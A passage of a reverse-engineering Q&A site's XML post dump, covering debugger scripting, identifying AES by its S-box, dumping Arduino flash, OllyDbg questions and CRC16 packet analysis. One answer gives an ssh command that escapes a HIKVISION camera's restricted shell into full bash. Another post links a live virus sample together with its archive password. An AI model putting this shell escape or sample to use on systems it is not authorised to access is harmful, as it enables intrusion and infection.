once you reached the breakpoint as enumerated above you can run a loop that enumerates the int argc in stack &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bp $exentry&#xA;bp kernel32!GetCommandLineA&#xA;g&#xA;g&#xA;g poi(@esp)&#xA;.while(@$t0= 0) {&#xA;pc &#xA;.if ( poi(@esp) == 1) {r $t0 = 1} .else { r $t0 = 0}&#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result of running the script  notice the address in screen shot above you have just one call to step to the wrapper for main()&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cdb -c &quot;$$&amp;gt;a&amp;lt; findwmain.txt&quot; hell.exe&#xA;&#xA;0:000&amp;gt; cdb: Reading initial command '$$&amp;gt;a&amp;lt; findwmain.txt'&#xA;Breakpoint 0 hit&#xA;Breakpoint 1 hit&#xA;&#xA;eax=00000000 ebx=7ffd3000 ecx=00461228 edx=00461228 esi=00000000 edi=00000000&#xA;eip=000a40b5 esp=0034fb5c ebp=0034fb94 iopl=0         nv up ei pl zr na pe nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246&#xA;image000a0000+0x40b5:&#xA;000a40b5 e8e4420000      call    image000a0000+0x839e (000a839e)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2016-02-18T09:51:09.887" LastActivityDate="2016-02-18T09:51:09.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12060" PostTypeId="1" CreationDate="2016-02-17T16:18:43.527" Score="1" ViewCount="587" Body="&lt;p&gt;I have a 64 bit program that runs under windows.  It has the ability to encrypt a specified file with what I believe is a 256 bit AES key.  The user specifies the input file location and the desired output file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to figure out what the key is that is used for the encryption but I'm not entirely sure how to go about it.  I can't get findcrypt to compile for 64 bit (VS2015).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some kind of pattern I can look for in ida that would suggest the AES algorithm is being used?&lt;/p&gt;&#xA;" OwnerUserId="15096" LastActivityDate="2016-02-17T16:52:38.563" Title="Find encryption algorithm used by a program?" Tags="|encryption|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12061" PostTypeId="2" ParentId="12060" CreationDate="2016-02-17T16:52:38.563" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there some kind of pattern I can look for in ida that would suggest&#xA;  the AES algorithm is being used?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The easiest way (in my opinion) is to look for AES's &lt;a href=&quot;https://en.wikipedia.org/wiki/Rijndael_S-box#Forward_S-box&quot; rel=&quot;nofollow&quot;&gt;S-box&lt;/a&gt; (either statically defined, or built at runtime): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; unsigned char s[256] = &#xA; {&#xA;    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,&#xA;    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,&#xA;    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,&#xA;    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,&#xA;    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,&#xA;    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,&#xA;    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,&#xA;    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,&#xA;    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,&#xA;    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,&#xA;    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,&#xA;    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,&#xA;    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,&#xA;    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,&#xA;    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,&#xA;    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16&#xA; };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's a nice single-file implementation of AES-256 that contains code snippets you might want to look for: &lt;a href=&quot;https://github.com/Urban82/Aes256/blob/master/src/aes256.cpp&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Urban82/Aes256/blob/master/src/aes256.cpp&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-02-17T16:52:38.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12064" PostTypeId="2" ParentId="11914" CreationDate="2016-02-18T08:22:25.677" Score="0" Body="&lt;p&gt;The great thing about the Windows operating system is that though it is proprietary, the heart of it that really matters has been remarkably well documented over the years. MSDN is a great source. You can start by understanding windows driver model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The windows driver model is the core framework of api's from which windows is built on. Consisting of kernal and user mode drivers (additional frameworks wrap much of the boiler plate code into simpler api's). User mode drivers are simply dll's (dynamic link libraries) and kernal mode, dll's with a different file extension (.sys instead of .dll) and explicit linking with &lt;code&gt;GetProcAddress()&lt;/code&gt; and &lt;code&gt;LoadLibrary()&lt;/code&gt; do not work for kernal. Much of this is well documented though complex in their inner workings. There are some Windows supplied drivers which are proprietary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beyond this there is a root driver called acpi.sys, supplied by microsoft. This is the root node from which all drivers and bus drivers are a child. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally there are the mechanisms in which windows routes messages from driver to driver called interrupt request packets or irp's. The memory in user mode applications are virtualized by the memory controller in such a way that memory can not be predictably utilized outside the context of the calling handle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given all the constraints you may realize there isn't a single implementation that is unique to windows. Indeed the greatest attributes of windows has been compliance through carefully and skillfully planned guidance, and by virtue of this, tends to be well known or anything but proprietary.&lt;/p&gt;&#xA;" OwnerUserId="15104" LastActivityDate="2016-02-18T08:22:25.677" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12066" PostTypeId="2" ParentId="8019" CreationDate="2016-02-18T18:08:08.350" Score="1" Body="&lt;p&gt;You can also log straight into at least some of the HIKVISION devices as root while they're live.  I've only tried it on a DS-2CD2512F-IS, but if you enable ssh through the web interface, you can then ssh in direct to the device's IP as the appropriate user (usually admin).  Normally, that'll give you a protected shell with sharply limited commands.  However, ssh will take command arguments, and the DS-2CD2512F-IS (at least) will take /bin/bash as a command - which gives you full access. That'll let you do fun things like get a full file listing, modify... pretty much anything, install custom programs, modify the underlying asp and javascript files, read hardware information, et cetera, without having to deal with customizing the firmware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ssh admin@[Camera IP] '/bin/bash' &lt;/p&gt;&#xA;&#xA;&lt;p&gt;does wonders.&lt;/p&gt;&#xA;" OwnerUserId="15107" LastEditorUserId="15107" LastEditDate="2016-02-18T18:41:59.023" LastActivityDate="2016-02-18T18:41:59.023" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12068" PostTypeId="2" ParentId="11976" CreationDate="2016-02-18T20:00:14.340" Score="0" Body="&lt;p&gt;MD5 is used but, it's not the main method..&#xA;the Antivirus use special Algorithms in real-time protection.&#xA;the anti-virus Does not depend on one Method.&#xA;But, in my opening the antivirus Engine should use hashing to complete The mission Faster.&#xA;&lt;strong&gt;-Translated by Google-&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="15054" LastActivityDate="2016-02-18T20:00:14.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12069" PostTypeId="2" ParentId="11990" CreationDate="2016-02-19T00:31:04.927" Score="1" Body="&lt;p&gt;Did you try &lt;code&gt;printqs5static $rdi&lt;/code&gt;? Assuming that call goes to the function with the prototype &lt;code&gt;QDebug &amp;amp; QDebug::operator&amp;lt;&amp;lt;(const QString &amp;amp; s)&lt;/code&gt;, then it's &lt;code&gt;rdi&lt;/code&gt; that should contain the &lt;code&gt;QString&lt;/code&gt;, not RSI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to dump memory around &lt;code&gt;rdi&lt;/code&gt; and &lt;code&gt;rsi&lt;/code&gt;. I doubt the object is super complicated, so there should be a pointer to a normal C string nearby.&lt;/p&gt;&#xA;" OwnerUserId="14098" LastActivityDate="2016-02-19T00:31:04.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12070" PostTypeId="2" ParentId="125" CreationDate="2016-02-19T09:10:30.923" Score="2" Body="&lt;p&gt;On windows for an arduino nano, you do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd &quot;C:\Program Files (x86)\Arduino\hardware\tools\avr\bin&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;followed by this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;C:\Program Files (x86)\Arduino\hardware\tools\avr\bin\avrdude&quot; -F &quot;-CC:\Program Files (x86)\Arduino\hardware\tools\avr/etc/avrdude.conf&quot; -v -v -patmega328p -carduino -PCOM14 -b57600 -D-Uflash:r:c:\keep\program.bin:r&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the output from the above grabbing code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;avrdude2.exe: Version 6.0.1, compiled on Mar 30 2015 at 14:56:06&#xA;              Copyright (c) 2000-2005 Brian Dean, http://www.bdmicro.com/&#xA;              Copyright (c) 2007-2009 Joerg Wunsch&#xA;&#xA;              System wide configuration file is &quot;C:\Program Files (x86)\Arduino\&#xA;hardware\tools\avr/etc/avrdude.conf&quot;&#xA;&#xA;              Using Port                    : COM14&#xA;              Using Programmer              : arduino&#xA;              Overriding Baud Rate          : 57600&#xA;              AVR Part                      : ATmega328P&#xA;              Chip Erase delay              : 9000 us&#xA;              PAGEL                         : PD7&#xA;              BS2                           : PC2&#xA;              RESET disposition             : dedicated&#xA;              RETRY pulse                   : SCK&#xA;              serial program mode           : yes&#xA;              parallel program mode         : yes&#xA;              Timeout                       : 200&#xA;              StabDelay                     : 100&#xA;              CmdexeDelay                   : 25&#xA;              SyncLoops                     : 32&#xA;              ByteDelay                     : 0&#xA;              PollIndex                     : 3&#xA;              PollValue                     : 0x53&#xA;              Memory Detail                 :&#xA;&#xA;                                       Block Poll               Page&#xA;           Polled&#xA;                Memory Type Mode Delay Size  Indx Paged  Size   Size #Pages MinW&#xA;  MaxW   ReadBack&#xA;                ----------- ---- ----- ----- ---- ------ ------ ---- ------ ----&#xA;- ----- ---------&#xA;                eeprom        65    20     4    0 no       1024    4      0  360&#xA;0  3600 0xff 0xff&#xA;                flash         65     6   128    0 yes     32768  128    256  450&#xA;0  4500 0xff 0xff&#xA;                lfuse          0     0     0    0 no          1    0      0  450&#xA;0  4500 0x00 0x00&#xA;                hfuse          0     0     0    0 no          1    0      0  450&#xA;0  4500 0x00 0x00&#xA;                efuse          0     0     0    0 no          1    0      0  450&#xA;0  4500 0x00 0x00&#xA;                lock           0     0     0    0 no          1    0      0  450&#xA;0  4500 0x00 0x00&#xA;                calibration    0     0     0    0 no          1    0      0&#xA;0     0 0x00 0x00&#xA;                signature      0     0     0    0 no          3    0      0&#xA;0     0 0x00 0x00&#xA;&#xA;              Programmer Type : Arduino&#xA;              Description     : Arduino&#xA;              Hardware Version: 2&#xA;              Firmware Version: 1.16&#xA;              Vtarget         : 0.0 V&#xA;              Varef           : 0.0 V&#xA;              Oscillator      : Off&#xA;              SCK period      : 0.1 us&#xA;&#xA;avrdude2.exe: AVR device initialized and ready to accept instructions&#xA;&#xA;Reading | ################################################## | 100% 0.02s&#xA;&#xA;avrdude2.exe: Device signature = 0x1e950f&#xA;avrdude2.exe: safemode: lfuse reads as 0&#xA;avrdude2.exe: safemode: hfuse reads as 0&#xA;avrdude2.exe: safemode: efuse reads as 0&#xA;avrdude2.exe: reading flash memory:&#xA;&#xA;Reading | ################################################## | 100% 9.49s&#xA;&#xA;avrdude2.exe: writing output file &quot;c:\keep\program.bin&quot;&#xA;&#xA;avrdude2.exe: safemode: lfuse reads as 0&#xA;avrdude2.exe: safemode: hfuse reads as 0&#xA;avrdude2.exe: safemode: efuse reads as 0&#xA;avrdude2.exe: safemode: Fuses OK (H:00, E:00, L:00)&#xA;&#xA;avrdude2.exe done.  Thank you.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this is the resulting file:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Program Files (x86)\Arduino\hardware\tools\avr\bin&amp;gt;dir c:\keep\program.bin&#xA; Volume in drive C has no label.&#xA; Volume Serial Number is EE8C-DFB9&#xA;&#xA; Directory of c:\keep&#xA;&#xA;19/02/2016  07:00 PM            32,670 program.bin&#xA;               1 File(s)         32,670 bytes&#xA;               0 Dir(s)  41,416,818,688 bytes free&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I renamed my &quot;avrdude.exe&quot; to &quot;avrdude2.exe&quot; and wrote a shim named &quot;avrdude.exe&quot; which calls the real one after outputting what the arduino does to build to my target device.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original command my system used to build was:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Program Files (x86)\Arduino\hardware\tools\avr\bin\avrdude &quot;-CC:\Program Files (x86)\Arduino\hardware\tools\avr/etc/avrdude.conf&quot; -v -v -patmega328p -carduino -PCOM14 -b57600 -D -Uflash:w:C:\Users\user\AppData\Local\Temp\build4588201597642272956.tmp/TFT_Baja2.cpp.hex:i&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Interesting fact: the hex dump included fragments of other code I'd written... this suggests some very interesting privacy and security problems for anyone shipping arduinos which have been previously used for other things...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using boards other than a nano, my shim was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!perl&#xA;&#xA;use strict;&#xA;&#xA;foreach(@ARGV){$_=qq(&quot;$_&quot;) if(/\s/)};   # DOS Wants quotes around space-embedded paramaters!&#xA;&#xA;foreach(@ARGV){$_='-v' if($_ eq '-q');} # go verbose instead of silent&#xA;&#xA;my $parms=join(&quot; &quot;,@ARGV);&#xA;open(OUT,&quot;&amp;gt;&amp;gt;&quot;,&quot;C:\\keep\\avrdude.log&quot;) || warn &quot;Cannot write: $!&quot;; &#xA;print OUT &quot;\n&quot; . &amp;amp;db_now() . &quot; $0 $parms\n&quot;; close(OUT);&#xA;&#xA;my $rc=`avrdude2.exe $parms`;&#xA;&#xA;open(OUT,&quot;&amp;gt;&amp;gt;&quot;,&quot;C:\\keep\\avrdude.log&quot;); print OUT $rc; close(OUT);&#xA;print $rc;&#xA;&#xA;# Return &quot;now()&quot; in mysql default format.&#xA;sub db_now {&#xA;     my($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime();&#xA;     return sprintf(&quot;%04d-%02d-%02d %02d:%02d:%02d&quot;,1900+$year,$mon+1,$mday,$hour,$min,$sec);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled to a windows .exe using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;perlapp avrdude.pl&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;enjoy!&lt;/p&gt;&#xA;" OwnerUserId="15112" LastActivityDate="2016-02-19T09:10:30.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12071" PostTypeId="1" CreationDate="2016-02-19T13:14:12.020" Score="1" ViewCount="231" Body="&lt;p&gt;There is one thing that I still can’t understand about Olly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a sample (an .SCR file) which I’m trying to analyze. When I open it with Olly 1.10, the file is loaded and its execution is paused just at the start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I open it with Olly 2.01, it is loaded AND executed immediately, so it closes processes, breaks Olly, VM, etc… I’ve tried to select different options in “Options”-&gt;”Debugging”-&gt;”Start”, but noticed no difference at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make Olly 2.01 behave like Olly 1.10 so I can step over the instructions from the very beginning?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPD.: I've tried to uncheck the &quot;Unpack SFX module authomatically&quot; checkbox, but the process is still executing after opening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I’ve uploaded the sample here: &lt;a href=&quot;http://s000.tinyupload.com/?file_id=91057886723949836306&quot; rel=&quot;nofollow&quot;&gt;http://s000.tinyupload.com/?file_id=91057886723949836306&lt;/a&gt;&#xA;IT IS A VIRUS SAMPLE, so the archive is encrypted with the password &quot;infected&quot;.&lt;/p&gt;&#xA;" OwnerUserId="15118" LastEditorUserId="2147" LastEditDate="2017-01-06T10:49:59.580" LastActivityDate="2017-01-06T10:49:59.580" Title="Why program opened with OllyDbg 2 isn't paused at start?" Tags="|ollydbg|breakpoint|entry-point|" AnswerCount="0" CommentCount="4" ClosedDate="2016-02-21T16:45:18.347" ContentLicense="CC BY-SA 3.0" />
  <row Id="12072" PostTypeId="1" CreationDate="2016-02-19T13:18:58.890" Score="1" ViewCount="620" Body="&lt;p&gt;I quite quite new to reverse engineering in General and there are a couple of things I'm unsure of. The app I am reverse engineering uses a couple of android libs in order to sign requests. So far I've managed to extract the libraries from the APK and I've found some code in the APK itself which references them. So would the best way of using them for my own purposes be just reusing the current code the app uses to implement them? Or is there some special techniques that would need to be used in order to use them correctly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if this has been asked before&#xA;Nathan&lt;/p&gt;&#xA;" OwnerUserId="15117" LastActivityDate="2016-02-19T13:18:58.890" Title="Android shared Library (.so)" Tags="|android|dll|libraries|" AnswerCount="0" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12074" PostTypeId="1" CreationDate="2016-02-20T17:19:30.567" Score="1" ViewCount="1154" Body="&lt;p&gt;I am In A deep Trouble. I am New to Reverse Engineering. I am Currently Using OLLYDBG. Now, I was Trying to Crack the Password of a .exe file using Ollydbg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, The EXE file which i was trying to crack was By Watching some Youtube Video &lt;code&gt;https://www.youtube.com/watch?v=5gSOKmNk-sA&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, Look at this Screenshot ( This is Took from Video)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/C8BAI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/C8BAI.png&quot; alt=&quot;Here in Image You can See in CPU Main Thread, There is Something on Right Written as Arg1, Arg2, Arg3 ....&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i Try the Same Application to Reverse on My System, I don't see any Arg1,Arg2,Arg3 kind of thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hZO6R.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hZO6R.png&quot; alt=&quot;This is My Ollydbg, when i am trying to reverse the Same EXE File&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, Can Anybody tell me How to get those Arg1,Arg2.... In my Panel too. Because the Password of this Executable file is Meant to be there. And The Registers are same, But i couldnt find those arg1,arg2 in Mine..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please Help&lt;/p&gt;&#xA;" OwnerUserId="15131" LastActivityDate="2016-06-20T00:06:03.083" Title="How to get Arg in Ollydbg" Tags="|ollydbg|malware|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12076" PostTypeId="1" AcceptedAnswerId="12081" CreationDate="2016-02-20T21:36:12.710" Score="1" ViewCount="2085" Body="&lt;p&gt;I'm a Olly newbie... whenever I set a breakpoint at an address and found I need to restart the target program, the previously set breakpoints are all removed. Is there anyway to let Olly to remember the breakpoints for certain executable, so that everytime when I want to debug that executable, the previously set breakpoints are still there?&lt;/p&gt;&#xA;" OwnerUserId="4758" LastActivityDate="2016-02-21T18:13:21.837" Title="Ollydbg:how to let Olly remember a breakpoint for next run" Tags="|ollydbg|debugging|breakpoint|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12077" PostTypeId="2" ParentId="12074" CreationDate="2016-02-20T22:18:35.917" Score="-1" Body="&lt;p&gt;same as blabb's answer : hit ctrl+A&lt;/p&gt;&#xA;" OwnerUserId="4758" LastActivityDate="2016-02-20T22:18:35.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12080" PostTypeId="2" ParentId="12057" CreationDate="2016-02-21T15:15:50.327" Score="2" Body="&lt;p&gt;The CRC is, as suspected, a fairly standard CRC16 with the polynomial 0x8005 (reflected: 0xA001). The only online calculators that I could find for this are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bobtech.ro/tutoriale/porturi-si-interfete/51-crc-calculator&quot; rel=&quot;nofollow&quot;&gt;BobTech's&lt;/a&gt; (clear the 'reverse data bytes' and 'reverse CRC' check boxes)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://ghsi.de/CRC/index.php?Polynom=11000000000000101&amp;amp;Message=31+32+33+34+35+36+37+38+39&quot; rel=&quot;nofollow&quot;&gt;GHS Infotronic's&lt;/a&gt; (the link has polynomial and message &quot;123456789&quot; already inserted)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The latter is particularly convenient for taking parts of the packet hex dumps, CRCing them, musing upon the results and then changing some bits before repeating the experiment...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Except for the polynomial - 0x8005 instead of 0x1021 - all the specifics are the same as for CRC-CCITT (XModem). If you plug in the 0x1021 poly then you can use a multitude of online checkers for verifying your own implementation, like &lt;a href=&quot;http://www.lammertbies.nl/comm/info/crc-calculation.html&quot; rel=&quot;nofollow&quot;&gt;Lammert Bies's&lt;/a&gt;, or indeed FoxPro's builtin CRC function (with 0x10000 as seed to force 0 as initial value, e.g. &lt;code&gt;sys(2007, &quot;123456789&quot;, 0x10000)&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conversely, there are plenty of ready-made implementations where you only need to substitute 0x8005 for 0x1021. I've also found a &lt;a href=&quot;https://e2e.ti.com/support/wireless_connectivity/proprietary_sub_1_ghz_simpliciti/f/156/t/31713&quot; rel=&quot;nofollow&quot;&gt;table-based implementation in C&lt;/a&gt; that already uses 0x8005.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code in the disassembly is essentially the same as that in chapter 10 of the CRC bible, a.k.a. Ross Williams' &lt;a href=&quot;http://www.ross.net/crc/download/crc_v3.txt&quot; rel=&quot;nofollow&quot;&gt;Painless Guide to CRC Error Detection Algorithms&lt;/a&gt; (&lt;a href=&quot;http://www.repairfaq.org/filipg/LINK/F_crc_v3.html&quot; rel=&quot;nofollow&quot;&gt;HTML version here&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r=0; &#xA;while (len--) &#xA;    r = (r&amp;lt;&amp;lt;8) ^ t[(r &amp;gt;&amp;gt; 8) ^ *p++];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is readily apparent if you compare this to my transcription of the disassembly (which I did in C#, because I'm learning it ATM):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static ushort crc16 (byte[] pMsg, ushort pInitial = 0)&#xA;{&#xA;    uint eax = pInitial;&#xA;&#xA;    for (int i = 0; i &amp;lt; pMsg.Length; ++i)  // EDX == pMsg + i&#xA;    {&#xA;        uint cl = ((eax &amp;gt;&amp;gt; 8) &amp;amp; 0xFF) ^ pMsg[i];&#xA;        uint bx = (eax &amp;amp; 0xFF) &amp;lt;&amp;lt; 8;&#xA;&#xA;        eax = bx ^ lookup[cl];&#xA;    }&#xA;&#xA;    return (ushort)eax;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've shown an intermediate rendition that still has the registers as value names, which makes it easily to correlate to the disassembly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sidenote: the disassembly shows IDA's age-old bug whereby it locally renames registers to the names of the parameters they hold on entry to the function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g., for reading the disassembly of this particular function you need to substitute 'ecx' for 'this' mentally because otherwise it just doesn't make sense:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    ...&#xA;    xor this, this&#xA;    mov cl, ah&#xA;    xor cl, bl&#xA;&#xA;    xor ebx, ebx&#xA;    mov bh, al&#xA;    and this, 0FFh&#xA;    movzx   this, cx&#xA;    xor bx, [esi+this*2]&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's simply ludicrous. I guess a certain someone needs to read up on the concept of live ranges, and why compilers bother to add live range data to the bits of debug info where IDA gets the name/register association from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For completeness' sake here are the other parts of the CRC rig, for those who want to use C# for spelunking:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static ushort[] lookup;&#xA;&#xA;static void initialise_lookup (ushort polynomial = 0x8005)&#xA;{&#xA;    for (uint edx = 0; edx &amp;lt;= 0xFF; ++edx)&#xA;    {&#xA;        uint ax = edx &amp;lt;&amp;lt; 8;&#xA;&#xA;        for (uint esi = 0; esi &amp;lt; 8; ++esi)&#xA;            if ((ax &amp;amp; 0x8000) != 0)&#xA;                ax = (ax &amp;lt;&amp;lt; 1) ^ polynomial;&#xA;            else&#xA;                ax &amp;lt;&amp;lt;= 1;&#xA;&#xA;        lookup[edx] = (ushort)ax;&#xA;    }&#xA;}&#xA;&#xA;static ushort crc16 (string s, ushort initial = 0)&#xA;{&#xA;    return crc16(System.Text.Encoding.ASCII.GetBytes(s), initial);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's it for the raw basis of the packet CRC. Now it's time to hammer out the specifics and to see if someone deviously passes something other than 0 for the initial value, or whether the resulting CRC is stomped on somehow before being inserted into the packet... Another thing to watch out for in the original EXE is that the CRC class might well get instantiated with different polynomials in different parts of the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eyeballing the packets in &lt;code&gt;WPE_Plogtxt.txt&lt;/code&gt; shows that only the third and fourths bytes (offsets 2 and 3) have enough entropy to be a CRC, and that the initial word is the length of the packet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[u16 length] [u16 crc?] [5 headerish bytes] [payload]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Examples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;09 00 : 01 B9 : DF 07 00 00 01&#xA;09 00 : E2 CD : 75 00 00 00 01&#xA;&#xA;0B 00 : 12 AD : 10 00 00 00 01 : 95 03 &#xA;0B 00 : 14 05 : 10 00 00 00 01 : A9 9A&#xA;0B 00 : 11 2B : 10 00 00 00 01 : BA CD&#xA;0B 00 : 77 D0 : 46 00 00 00 01 : 4D 